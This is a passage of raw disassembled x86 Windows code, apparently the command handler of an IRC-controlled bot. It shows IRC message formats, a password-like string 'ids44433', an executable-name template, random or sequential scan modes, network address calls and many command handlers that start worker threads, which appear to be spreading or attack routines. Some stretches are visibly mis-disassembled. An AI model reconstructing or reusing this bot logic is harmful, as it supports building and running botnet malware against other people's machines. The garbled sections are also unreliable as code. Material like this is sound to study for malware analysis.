jz short loc_40BBDC
xor eax, eax
cmp [ebp-9B3h], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp-430h]
push eax
call sub_412000
pop ecx
cmp edi, ebx
pop ecx
mov [ebp+2Fh], bl
jle short loc_40BBD0
loc_40BBAE: ; CODE XREF: seg000:0040BBCEj
cmp eax, ebx
jz short loc_40BBD0
mov byte ptr [eax], 78h
lea eax, [ebp-430h]
push 30h
push eax
call sub_412000
inc byte ptr [ebp+2Fh]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+2Fh]
cmp ecx, edi
jl short loc_40BBAE
loc_40BBD0: ; CODE XREF: seg000:0040BBACj
; seg000:0040BBB0j
mov dword ptr [ebp-2F0h], 1
jmp short loc_40BBE2
; ---------------------------------------------------------------------------
loc_40BBDC: ; CODE XREF: seg000:0040BB86j
mov [ebp-2F0h], ebx
loc_40BBE2: ; CODE XREF: seg000:0040BB09j
; seg000:0040BBDAj
mov eax, [ebp+0Ch]
push dword ptr [ebp-98h]
mov [ebp-320h], eax
mov eax, [ebp-4]
mov [ebp-2F8h], eax
mov eax, [ebp-8]
mov [ebp-2F4h], eax
mov edi, 80h
lea eax, [ebp-420h]
push edi
push eax
call sub_410A8A
mov esi, [ebp+esi-88h]
add esp, 0Ch
cmp esi, ebx
jz short loc_40BC36
loc_40BC23: ; CODE XREF: seg000:0040BC59j
push esi
loc_40BC24: ; CODE XREF: seg000:0040BC43j
lea eax, [ebp-3A0h]
push edi
push eax
call sub_410A8A
add esp, 0Ch
jmp short loc_40BC61
; ---------------------------------------------------------------------------
loc_40BC36: ; CODE XREF: seg000:0040BC21j
mov eax, [ebp+20h]
cmp eax, ebx
jz short loc_40BC45
cmp byte ptr [eax], 23h
jnz short loc_40BC45
push eax
jmp short loc_40BC24
; ---------------------------------------------------------------------------
loc_40BC45: ; CODE XREF: seg000:0040BC3Bj
; seg000:0040BC40j
mov esi, offset dword_4230B4
push offset dword_42F3E8
push esi
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_40BC23
mov [ebp-3A0h], bl
loc_40BC61: ; CODE XREF: seg000:0040BC34j
cmp [ebp-2F0h], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_40BC73
mov eax, offset aSequential ; "Sequential"
loc_40BC73: ; CODE XREF: seg000:0040BC6Cj
push dword ptr [ebp-304h]
lea ecx, [ebp-430h]
push dword ptr [ebp-314h]
push dword ptr [ebp-318h]
push dword ptr [ebp-31Ch]
push ecx
push eax
lea eax, [ebp-2E4h]
push offset dword_42B924
push eax
call sub_41050B
push ebx
lea eax, [ebp-2E4h]
push 8
push eax
call sub_40FFB7
add esp, 2Ch
mov [ebp-310h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-430h]
push ebx
push eax
push 405723h
push ebx
push ebx
call ds:dword_41C06C ; CreateThread
mov ecx, [ebp-310h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4358EC[ecx], eax
jz short loc_40BD01
loc_40BCEB: ; CODE XREF: seg000:0040BCFFj
cmp [ebp-2ECh], ebx
jnz loc_40B441
push 32h
call ds:dword_41C058 ; Sleep
jmp short loc_40BCEB
; ---------------------------------------------------------------------------
loc_40BD01: ; CODE XREF: seg000:0040BCE9j
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
push offset dword_42B8D8
jmp loc_40B432
; ---------------------------------------------------------------------------
loc_40BD12: ; CODE XREF: seg000:0040B146j
; seg000:0040B15Dj
push edi
call sub_410A7F
imul eax, 234h
pop ecx
cmp ds:byte_4358F0[eax], bl
jz loc_40E148
cmp [ebp-0Ch], ebx
jz loc_40E148
push edi
call sub_410B60
push dword ptr [ebp+18h]
mov esi, eax
call sub_410B60
push dword ptr [ebp+20h]
add esi, eax
call sub_410B60
add eax, [ebp-0Ch]
push dword ptr [ebp+8]
lea eax, [eax+esi+2]
push eax
call sub_410AE0
mov esi, eax
lea eax, [ebp-2E4h]
push esi
push offset dword_42B8CC
push eax
call sub_41050B
add esp, 20h
cmp esi, ebx
jz loc_40E148
push edi
call sub_410A7F
test eax, eax
pop ecx
jle loc_40E148
push edi
call sub_410A7F
cmp eax, 12Ch
pop ecx
jge loc_40E148
push ebx
lea eax, [ebp-2E4h]
push ebx
push eax
push dword ptr [ebp+20h]
push edi
call sub_410A7F
imul eax, 234h
pop ecx
push ds:dword_4358E4[eax]
call sub_40E367
push edi
call sub_410A7F
imul eax, 234h
add esp, 18h
cmp byte ptr ds:dword_4356D8[eax], 73h
jnz loc_40E148
push esi
push edi
call sub_410A7F
imul eax, 234h
pop ecx
add eax, offset byte_4358F0
push eax
push dword ptr [ebp+20h]
push offset aSSS_1 ; "[%s] * %s %s"
loc_40BDFA: ; CODE XREF: seg000:0040BEF4j
lea eax, [ebp-2E4h]
push eax
call sub_41050B
push ebx
lea eax, [ebp-2E4h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40E367
jmp loc_40DAF6
; ---------------------------------------------------------------------------
loc_40BE24: ; CODE XREF: seg000:0040B118j
; seg000:0040B12Fj
push edi
call sub_410A7F
imul eax, 234h
pop ecx
cmp ds:byte_4358F0[eax], bl
jz loc_40E148
cmp [ebp-0Ch], ebx
jz loc_40E148
push edi
call sub_410B60
push dword ptr [ebp+18h]
mov esi, eax
call sub_410B60
push dword ptr [ebp+20h]
add esi, eax
call sub_410B60
add eax, [ebp-0Ch]
push dword ptr [ebp+8]
lea eax, [eax+esi+2]
push eax
call sub_410AE0
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_40E148
push edi
call sub_410A7F
test eax, eax
pop ecx
jle loc_40E148
push edi
call sub_410A7F
cmp eax, 12Ch
pop ecx
jge loc_40E148
push ebx
push ebx
push esi
push dword ptr [ebp+20h]
push edi
call sub_410A7F
imul eax, 234h
pop ecx
push ds:dword_4358E4[eax]
call sub_40E367
push edi
call sub_410A7F
imul eax, 234h
add esp, 18h
cmp byte ptr ds:dword_4356D8[eax], 73h
jnz loc_40E148
push esi
push edi
call sub_410A7F
imul eax, 234h
pop ecx
add eax, offset byte_4358F0
push eax
push dword ptr [ebp+20h]
push offset aSSS_0 ; "[%s] <%s> %s"
jmp loc_40BDFA
; ---------------------------------------------------------------------------
loc_40BEF9: ; CODE XREF: seg000:0040B0EAj
; seg000:0040B101j
push edi
call ds:dword_4307D0 ; inet_addr
push dword ptr [ebp+20h]
mov [ebp-47Ch], eax
call sub_410A7F
push dword ptr [ebp+8]
mov [ebp-488h], eax
call sub_410A7F
mov esi, [ebp+0Ch]
push 7Fh
push dword ptr [ebp-98h]
mov [ebp-484h], eax
lea eax, [ebp-508h]
mov [ebp-50Ch], esi
push eax
call sub_411D00
add esp, 14h
mov edi, [ebp-4]
mov eax, [ebp-8]
mov [ebp-474h], edi
push dword ptr [ebp-484h]
mov [ebp-470h], eax
push dword ptr [ebp-488h]
push dword ptr [ebp-47Ch]
call ds:dword_43081C ; inet_ntoa
push eax
lea eax, [ebp-2E4h]
push offset unk_42B85C
push eax
call sub_41050B
push ebx
lea eax, [ebp-2E4h]
push 8
push eax
call sub_40FFB7
add esp, 20h
mov [ebp-480h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-50Ch]
push ebx
push eax
push offset sub_40FB84
push ebx
push ebx
call ds:dword_41C06C ; CreateThread
mov ecx, [ebp-480h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4358EC[ecx], eax
jz short loc_40BFDB
loc_40BFC5: ; CODE XREF: seg000:0040BFD9j
cmp [ebp-46Ch], ebx
jnz loc_40D959
push 32h
call ds:dword_41C058 ; Sleep
jmp short loc_40BFC5
; ---------------------------------------------------------------------------
loc_40BFDB: ; CODE XREF: seg000:0040BFC3j
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
push offset unk_42B80C
jmp loc_40D94A
; ---------------------------------------------------------------------------
loc_40BFEC: ; CODE XREF: seg000:0040B0BCj
; seg000:0040B0D3j
push edi
call sub_410A7F
push 7Fh
mov [ebp-300h], eax
push dword ptr [ebp+20h]
lea eax, [ebp-404h]
push eax
call sub_411D00
push dword ptr [ebp+8]
call sub_410A7F
push dword ptr [ebp-98h]
mov esi, [ebp+0Ch]
mov [ebp-304h], eax
lea eax, [ebp-384h]
push 80h
push eax
mov [ebp-40Ch], esi
call sub_410A8A
mov eax, [ebp-8]
add esp, 20h
mov edi, [ebp-4]
mov [ebp-2F0h], eax
push dword ptr [ebp-304h]
lea eax, [ebp-404h]
mov [ebp-2F4h], edi
push eax
push dword ptr [ebp-300h]
push esi
call sub_407435
pop ecx
push eax
lea eax, [ebp-2E4h]
push offset unk_42B7BC
push eax
call sub_41050B
push ebx
lea eax, [ebp-2E4h]
push 10h
push eax
call sub_40FFB7
add esp, 24h
mov [ebp-2FCh], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-40Ch]
push ebx
push eax
push offset sub_405982
push ebx
push ebx
call ds:dword_41C06C ; CreateThread
mov ecx, [ebp-2FCh]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4358EC[ecx], eax
jz short loc_40C0D5
loc_40C0BF: ; CODE XREF: seg000:0040C0D3j
cmp [ebp-2ECh], ebx
jnz loc_40D959
push 32h
call ds:dword_41C058 ; Sleep
jmp short loc_40C0BF
; ---------------------------------------------------------------------------
loc_40C0D5: ; CODE XREF: seg000:0040C0BDj
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
push offset unk_42B768
jmp loc_40D94A
; ---------------------------------------------------------------------------
loc_40C0E6: ; CODE XREF: seg000:0040B08Ej
; seg000:0040B0A5j
push 0FFh
lea eax, [ebp-788h]
push edi
push eax
call sub_411D00
push 0FFh
lea eax, [ebp-688h]
push dword ptr [ebp+20h]
push eax
call sub_411D00
push dword ptr [ebp+8]
mov [ebp-584h], ebx
call sub_410A7F
mov [ebp-580h], eax
mov eax, [ebp+esi-90h]
add esp, 1Ch
cmp eax, ebx
jz short loc_40C142
push 10h
push ebx
push eax
call sub_4118C9
add esp, 0Ch
mov [ebp-578h], eax
jmp short loc_40C148
; ---------------------------------------------------------------------------
loc_40C142: ; CODE XREF: seg000:0040C12Cj
mov [ebp-578h], ebx
loc_40C148: ; CODE XREF: seg000:0040C140j
mov esi, [ebp+esi-8Ch]
cmp esi, ebx
jz short loc_40C162
push esi
call sub_410A7F
pop ecx
mov [ebp-57Ch], eax
jmp short loc_40C168
; ---------------------------------------------------------------------------
loc_40C162: ; CODE XREF: seg000:0040C151j
mov [ebp-57Ch], ebx
loc_40C168: ; CODE XREF: seg000:0040C160j
movzx eax, byte ptr [ebp-9AFh]
mov esi, [ebp+0Ch]
push 7Fh
push dword ptr [ebp-98h]
mov [ebp-574h], eax
lea eax, [ebp-808h]
mov [ebp-80Ch], esi
push eax
call sub_411D00
mov eax, [ebp-4]
push dword ptr [ebp+20h]
mov [ebp-56Ch], eax
mov eax, [ebp-8]
mov [ebp-570h], eax
push edi
lea eax, [ebp-2E4h]
push offset unk_42B728
push eax
call sub_41050B
push esi
lea eax, [ebp-2E4h]
push 15h
push eax
call sub_40FFB7
add esp, 28h
mov [ebp-588h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-80Ch]
push ebx
push eax
push offset loc_408152
push ebx
push ebx
call ds:dword_41C06C ; CreateThread
mov ecx, [ebp-588h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4358EC[ecx], eax
jz short loc_40C216
loc_40C200: ; CODE XREF: seg000:0040C214j
cmp [ebp-568h], ebx
jnz loc_40B883
push 32h
call ds:dword_41C058 ; Sleep
jmp short loc_40C200
; ---------------------------------------------------------------------------
loc_40C216: ; CODE XREF: seg000:0040C1FEj
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
push offset unk_42B6D4
jmp loc_40C419
; ---------------------------------------------------------------------------
loc_40C227: ; CODE XREF: seg000:0040B060j
; seg000:0040B077j
push 7Fh
lea eax, [ebp-774h]
pop esi
push esi
push edi
push eax
call sub_411D00
push esi
lea eax, [ebp-6F4h]
push dword ptr [ebp+20h]
push eax
call sub_411D00
push esi
lea eax, [ebp-674h]
push dword ptr [ebp+8]
push eax
call sub_411D00
push esi
lea eax, [ebp-5F4h]
push dword ptr [ebp-98h]
push eax
call sub_411D00
mov eax, [ebp-8]
push dword ptr [ebp+8]
mov esi, [ebp-4]
mov [ebp-56Ch], eax
mov eax, [ebp+0Ch]
push dword ptr [ebp+20h]
mov [ebp-778h], eax
lea eax, [ebp-2E4h]
push edi
push offset dword_42B694
push eax
mov [ebp-570h], esi
call sub_41050B
add esp, 44h
lea eax, [ebp-2E4h]
push ebx
push 0Bh
push eax
call sub_40FFB7
add esp, 0Ch
mov [ebp-574h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-778h]
push ebx
push eax
push offset sub_40182E
push ebx
push ebx
call ds:dword_41C06C ; CreateThread
mov ecx, [ebp-574h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4358EC[ecx], eax
jz short loc_40C2FA
loc_40C2E8: ; CODE XREF: seg000:0040C2F8j
cmp [ebp-568h], ebx
jnz short loc_40C315
push 32h
call ds:dword_41C058 ; Sleep
jmp short loc_40C2E8
; ---------------------------------------------------------------------------
loc_40C2FA: ; CODE XREF: seg000:0040C2E6j
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
lea eax, [ebp-2E4h]
push offset dword_42B648
push eax
call sub_41050B
add esp, 0Ch
loc_40C315: ; CODE XREF: seg000:0040C2EEj
cmp [ebp-8], ebx
jnz loc_40B462
push ebx
push esi
jmp loc_40B44A
; ---------------------------------------------------------------------------
loc_40C325: ; CODE XREF: seg000:0040B01Bj
; seg000:0040B032j ...
push 7Fh
lea eax, [ebp-7F0h]
pop esi
push esi
push edi
push eax
call sub_411D00
push esi
lea eax, [ebp-770h]
push dword ptr [ebp+20h]
push eax
call sub_411D00
push esi
lea eax, [ebp-6F0h]
push dword ptr [ebp+8]
push eax
call sub_411D00
push esi
lea eax, [ebp-670h]
push dword ptr [ebp-98h]
push eax
call sub_411D00
push 20h
lea eax, [ebp-5F0h]
push dword ptr [ebp+18h]
push eax
call sub_411D00
mov eax, [ebp-4]
push dword ptr [ebp+8]
mov esi, [ebp+0Ch]
mov [ebp-570h], eax
mov eax, [ebp-8]
push dword ptr [ebp+20h]
mov [ebp-56Ch], eax
lea eax, [ebp-2E4h]
push edi
push offset unk_42B604
push eax
mov [ebp-7F8h], esi
call sub_41050B
add esp, 50h
lea eax, [ebp-2E4h]
push ebx
push 0Ah
push eax
call sub_40FFB7
add esp, 0Ch
mov [ebp-7F4h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-7F8h]
push ebx
push eax
push offset sub_401000
push ebx
push ebx
call ds:dword_41C06C ; CreateThread
mov ecx, [ebp-7F4h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4358EC[ecx], eax
jz short loc_40C40D
loc_40C3F7: ; CODE XREF: seg000:0040C40Bj
cmp [ebp-568h], ebx
jnz loc_40B883
push 32h
call ds:dword_41C058 ; Sleep
jmp short loc_40C3F7
; ---------------------------------------------------------------------------
loc_40C40D: ; CODE XREF: seg000:0040C3F5j
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
push offset unk_42B5B8
loc_40C419: ; CODE XREF: seg000:0040B865j
; seg000:0040B9B3j ...
lea eax, [ebp-2E4h]
push eax
call sub_41050B
jmp loc_40B880
; ---------------------------------------------------------------------------
loc_40C42A: ; CODE XREF: seg000:0040AFEDj
; seg000:0040B004j
push 7Fh
lea eax, [ebp-444h]
push edi
push eax
call sub_411D00
push dword ptr [ebp+20h]
call sub_410A7F
push 3Fh
mov [ebp-2F4h], eax
push dword ptr [ebp+8]
lea eax, [ebp-3C4h]
push eax
call sub_411D00
mov esi, [ebp+esi-90h]
add esp, 1Ch
cmp esi, ebx
jz short loc_40C478
push 3Fh
lea eax, [ebp-384h]
push esi
push eax
call sub_411D00
add esp, 0Ch
loc_40C478: ; CODE XREF: seg000:0040C464j
lea eax, [ebp-3C4h]
mov dword ptr [ebp-2F0h], 1
push eax
lea eax, [ebp-444h]
push dword ptr [ebp-2F4h]
push eax
lea eax, [ebp-2E4h]
push offset unk_42B574
push eax
call sub_41050B
push ebx
lea eax, [ebp-2E4h]
push 17h
push eax
call sub_40FFB7
add esp, 20h
mov [ebp-2ECh], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-448h]
push ebx
push eax
push offset sub_4090B0
push ebx
push ebx
call ds:dword_41C06C ; CreateThread
mov ecx, [ebp-2ECh]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4358EC[ecx], eax
jz short loc_40C504
loc_40C4EE: ; CODE XREF: seg000:0040C502j
cmp [ebp-2E8h], ebx
jnz loc_40D0B5
push 32h
call ds:dword_41C058 ; Sleep
jmp short loc_40C4EE
; ---------------------------------------------------------------------------
loc_40C504: ; CODE XREF: seg000:0040C4ECj
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
push offset unk_42B528
jmp loc_40CF25
; ---------------------------------------------------------------------------
loc_40C515: ; CODE XREF: seg000:0040AFADj
; seg000:0040AFC4j
push dword ptr [ebp+20h]
call sub_410A7F
cmp eax, ebx
pop ecx
mov [ebp-578h], eax
jle loc_40C606
mov esi, 80h
push edi
lea eax, [ebp-700h]
push esi
push eax
call sub_410A8A
xor eax, eax
cmp [ebp-9A2h], bl
push dword ptr [ebp-98h]
setnz al
mov [ebp-574h], eax
mov eax, [ebp+0Ch]
mov [ebp-704h], eax
lea eax, [ebp-600h]
push esi
push eax
call sub_410A8A
mov eax, [ebp-4]
push dword ptr [ebp+20h]
mov [ebp-570h], eax
mov eax, [ebp-8]
mov [ebp-56Ch], eax
push edi
push offset unk_42B4E8
lea eax, [ebp-2E4h]
push 200h
push eax
call sub_410A8A
push ebx
lea eax, [ebp-2E4h]
push 0Dh
push eax
call sub_40FFB7
add esp, 38h
mov [ebp-580h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-704h]
push ebx
push eax
push offset loc_401447
push ebx
push ebx
call ds:dword_41C06C ; CreateThread
mov ecx, [ebp-580h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4358EC[ecx], eax
jz short loc_40C5F5
loc_40C5DF: ; CODE XREF: seg000:0040C5F3j
cmp [ebp-568h], ebx
jnz loc_40B441
push 32h
call ds:dword_41C058 ; Sleep
jmp short loc_40C5DF
; ---------------------------------------------------------------------------
loc_40C5F5: ; CODE XREF: seg000:0040C5DDj
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
push offset unk_42B49C
jmp loc_40B432
; ---------------------------------------------------------------------------
loc_40C606: ; CODE XREF: seg000:0040C526j
push offset unk_42B450
jmp loc_40D67E
; ---------------------------------------------------------------------------
loc_40C610: ; CODE XREF: seg000:0040AF7Fj
; seg000:0040AF96j
push dword ptr [ebp+20h]
push edi
call near ptr 3E0000h
icebp
test eax, eax
jz short loc_40C63D
push dword ptr [ebp+20h]
lea eax, [ebp-2E4h]
push edi
push offset unk_42B418
push 200h
push eax
call sub_410A8A
add esp, 14h
jmp short loc_40C65C
; ---------------------------------------------------------------------------
loc_40C63D: ; CODE XREF: seg000:0040C61Cj
push offset dword_42B3F8
call loc_406ECC
push eax
lea eax, [ebp-2E4h]
push 200h
push eax
call sub_410A8A
add esp, 10h
loc_40C65C: ; CODE XREF: seg000:0040C63Bj
; seg000:0040D0FFj ...
cmp [ebp-8], ebx
jnz short loc_40C67D
push ebx
lea eax, [ebp-2E4h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40E367
add esp, 14h
loc_40C67D: ; CODE XREF: seg000:0040A371j
; seg000:0040C65Fj ...
push 1
pop esi
loc_40C680: ; CODE XREF: seg000:0040C8DAj
; seg000:0040CFFAj ...
lea eax, [ebp-2E4h]
push eax
call sub_407E0E
pop ecx
mov eax, esi
jmp loc_40980E
; ---------------------------------------------------------------------------
loc_40C694: ; CODE XREF: seg000:0040AF51j
; seg000:0040AF68j
push 44h
lea eax, [ebp-4A8h]
pop esi
push esi
push ebx
push eax
call sub_410590
push 1
mov [ebp-4A8h], esi
pop esi
mov [ebp-478h], bx
push edi
mov [ebp-47Ch], esi
call sub_410A7F
add esp, 10h
cmp eax, esi
jnz short loc_40C6D1
mov word ptr [ebp-478h], 5
loc_40C6D1: ; CODE XREF: seg000:0040C6C6j
cmp [ebp-0Ch], ebx
jz loc_40D0B5
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_410AE0
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_40D0B5
lea eax, [ebp-0D8h]
push eax
lea eax, [ebp-4A8h]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call near ptr 3E0000h
pop edi
test eax, eax
jnz short loc_40C71C
push offset unk_42B3C0
jmp loc_40D0A7
; ---------------------------------------------------------------------------
loc_40C71C: ; CODE XREF: seg000:0040C710j
push edi
push offset dword_42B394
jmp loc_40CF25
; ---------------------------------------------------------------------------
loc_40C727: ; CODE XREF: seg000:0040AF23j
; seg000:0040AF3Aj
push dword ptr [ebp+20h]
push offset aIds44433 ; "ids44433"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40C8A3
lea eax, [ebp-3E8h]
push eax
push 104h
call near ptr 3E0000h
test eax, 0FF68h
add [ebp-7877Bh], cl
call dword ptr [edi+50h]
call sub_411D00
lea eax, [ebp-0E4h]
push eax
call sub_40F741
push eax
lea eax, [ebp-3E8h]
push eax
lea eax, [ebp-688h]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_41050B
mov eax, [ebp+esi-94h]
add esp, 20h
cmp eax, ebx
mov dword ptr [ebp-584h], 1
mov [ebp-580h], ebx
jz short loc_40C7B9
push 10h
push ebx
push eax
call sub_4118C9
add esp, 0Ch
mov [ebp-578h], eax
jmp short loc_40C7BF
; ---------------------------------------------------------------------------
loc_40C7B9: ; CODE XREF: seg000:0040C7A3j
mov [ebp-578h], ebx
loc_40C7BF: ; CODE XREF: seg000:0040C7B7j
mov esi, [ebp+esi-90h]
cmp esi, ebx
jz short loc_40C7D9
push esi
call sub_410A7F
pop ecx
mov [ebp-57Ch], eax
jmp short loc_40C7DF
; ---------------------------------------------------------------------------
loc_40C7D9: ; CODE XREF: seg000:0040C7C8j
mov [ebp-57Ch], ebx
loc_40C7DF: ; CODE XREF: seg000:0040C7D7j
movzx eax, byte ptr [ebp-9AFh]
mov esi, [ebp+0Ch]
push 7Fh
push dword ptr [ebp-98h]
mov [ebp-574h], eax
lea eax, [ebp-808h]
mov [ebp-80Ch], esi
push eax
call sub_411D00
mov eax, [ebp-4]
push edi
mov [ebp-56Ch], eax
mov eax, [ebp-8]
mov [ebp-570h], eax
lea eax, [ebp-2E4h]
push offset unk_42B348
push eax
call sub_41050B
push esi
lea eax, [ebp-2E4h]
push 16h
push eax
call sub_40FFB7
add esp, 24h
mov [ebp-588h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-80Ch]
push ebx
push eax
push offset loc_408152
push ebx
push ebx
call ds:dword_41C06C ; CreateThread
mov ecx, [ebp-588h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4358EC[ecx], eax
jz short loc_40C886
loc_40C874: ; CODE XREF: seg000:0040C884j
cmp [ebp-568h], ebx
jnz short loc_40C8B6
push 32h
call ds:dword_41C058 ; Sleep
jmp short loc_40C874
; ---------------------------------------------------------------------------
loc_40C886: ; CODE XREF: seg000:0040C872j
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
push offset unk_42B2F8
loc_40C892: ; CODE XREF: seg000:0040D03Ej
; seg000:0040D048j ...
lea eax, [ebp-2E4h]
push eax
call sub_41050B
loc_40C89E: ; CODE XREF: seg000:0040D9FBj
add esp, 0Ch
jmp short loc_40C8B6
; ---------------------------------------------------------------------------
loc_40C8A3: ; CODE XREF: seg000:0040C738j
lea eax, [ebp-2E4h]
push offset unk_42B2A0
push eax
call sub_41050B
pop ecx
pop ecx
loc_40C8B6: ; CODE XREF: seg000:0040C87Aj
; seg000:0040C8A1j
cmp [ebp-8], ebx
jnz short loc_40C8D7
push ebx
lea eax, [ebp-2E4h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40E367
add esp, 14h
loc_40C8D7: ; CODE XREF: seg000:0040C8B9j
; seg000:0040DF18j ...
mov esi, [ebp+2Ch]
jmp loc_40C680
; ---------------------------------------------------------------------------
loc_40C8DF: ; CODE XREF: seg000:0040AEF5j
; seg000:0040AF0Cj
push dword ptr [ebp-9Ch]
push offset a332 ; "332"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40980B
cmp [ebp-0Ch], ebx
jz loc_40980B
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_410AE0
push eax
lea eax, [ebp-2E4h]
push dword ptr [ebp-98h]
push dword ptr [ebp-9Ch]
push dword ptr [ebp-0A0h]
push offset dword_42B290
push eax
call sub_41050B
lea eax, [ebp-2E4h]
push 1FFh
push eax
push dword ptr [ebp+8]
call sub_411D00
push edi
call sub_410A7F
add esp, 30h
test eax, eax
jle short loc_40C966
push edi
call sub_410A7F
imul eax, 3E8h
pop ecx
push eax
call ds:dword_41C058 ; Sleep
loc_40C966: ; CODE XREF: seg000:0040C950j
push offset dword_42B268
call sub_407E0E
mov eax, [ebp+2Ch]
pop ecx
inc eax
jmp loc_40980E
; ---------------------------------------------------------------------------
loc_40C97A: ; CODE XREF: seg000:0040AEC7j
; seg000:0040AEDEj
push dword ptr [ebp-9Ch]
push offset a332 ; "332"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40980B
cmp [ebp-0Ch], ebx
jz loc_40E148
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_410AE0
mov esi, eax
mov eax, [ebp+20h]
inc eax
push offset aRepeat ; "repeat"
push eax
call sub_410930
add esp, 10h
test eax, eax
push esi
jz short loc_40CA36
push dword ptr [ebp-98h]
lea eax, [ebp-2E4h]
push dword ptr [ebp-9Ch]
push dword ptr [ebp-0A0h]
push offset dword_42B290
push eax
call sub_41050B
lea eax, [ebp-2E4h]
push 1FFh
push eax
push dword ptr [ebp+8]
call sub_411D00
push esi
lea eax, [ebp-2E4h]
push offset dword_42B234
push eax
call sub_41050B
lea eax, [ebp-2E4h]
push eax
call sub_407E0E
push edi
call sub_410A7F
add esp, 38h
test eax, eax
jle loc_40E148
push edi
call sub_410A7F
add eax, [ebp+2Ch]
pop ecx
jmp loc_40980E
; ---------------------------------------------------------------------------
loc_40CA36: ; CODE XREF: seg000:0040C9BFj
push offset dword_42B1EC
jmp loc_40CF25
; ---------------------------------------------------------------------------
loc_40CA40: ; CODE XREF: seg000:0040AE99j
; seg000:0040AEB0j
push dword ptr [ebp+20h]
lea eax, [ebp-2E4h]
push offset dword_42B1E4
push eax
call sub_41050B
push edi
call sub_410A7F
add esp, 10h
loc_40CA5D: ; CODE XREF: seg000:0040CAC4j
test eax, eax
jle loc_40E148
push edi
call sub_410A7F
cmp eax, 12Ch
pop ecx
jge loc_40E148
loc_40CA77: ; CODE XREF: seg000:0040D186j
lea eax, [ebp-2E4h]
push eax
push offset dword_41EE48
push edi
call sub_410A7F
imul eax, 234h
pop ecx
push ds:dword_4358E4[eax]
call sub_40E321
jmp loc_40DFF7
; ---------------------------------------------------------------------------
loc_40CAA0: ; CODE XREF: seg000:0040AE6Bj
; seg000:0040AE82j
push dword ptr [ebp+esi-94h]
lea eax, [ebp-2E4h]
push dword ptr [ebp+20h]
push offset dword_42B1D8
push eax
call sub_41050B
push edi
call sub_410A7F
add esp, 14h
jmp short loc_40CA5D
; ---------------------------------------------------------------------------
loc_40CAC6: ; CODE XREF: seg000:0040AE3Dj
; seg000:0040AE54j
push dword ptr [ebp+20h]
lea eax, [ebp-2E4h]
push offset dword_42B1D0
push eax
call sub_41050B
push edi
call sub_410A7F
add esp, 10h
test eax, eax
jle loc_40E148
push edi
call sub_410A7F
cmp eax, 12Ch
pop ecx
jge loc_40E148
lea eax, [ebp-2E4h]
push eax
push offset dword_41EE48
push edi
call sub_410A7F
imul eax, 234h
pop ecx
push ds:dword_4358E4[eax]
call sub_40E321
push dword ptr [ebp+20h]
push edi
push offset dword_42B1A0
loc_40CB2A: ; CODE XREF: seg000:0040CBB1j
; seg000:0040CC1Cj ...
call sub_407E82
jmp loc_40DCB8
; ---------------------------------------------------------------------------
loc_40CB34: ; CODE XREF: seg000:0040AE0Fj
; seg000:0040AE26j
cmp [ebp-0Ch], ebx
jz loc_40E148
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_410AE0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_40CB65
push esi
lea eax, [ebp-2E4h]
push offset dword_42B198
push eax
call sub_41050B
add esp, 0Ch
loc_40CB65: ; CODE XREF: seg000:0040CB4Ej
push edi
call sub_410A7F
test eax, eax
pop ecx
jle loc_40E148
push edi
call sub_410A7F
cmp eax, 12Ch
pop ecx
jge loc_40E148
lea eax, [ebp-2E4h]
push eax
push offset dword_41EE48
push edi
call sub_410A7F
imul eax, 234h
pop ecx
push ds:dword_4358E4[eax]
call sub_40E321
push esi
push edi
push offset dword_42B168
jmp loc_40CB2A
; ---------------------------------------------------------------------------
loc_40CBB6: ; CODE XREF: seg000:0040ADE1j
; seg000:0040ADF8j
cmp [ebp-0Ch], ebx
jz loc_40E148
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_410AE0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40E148
push edi
call sub_410A7F
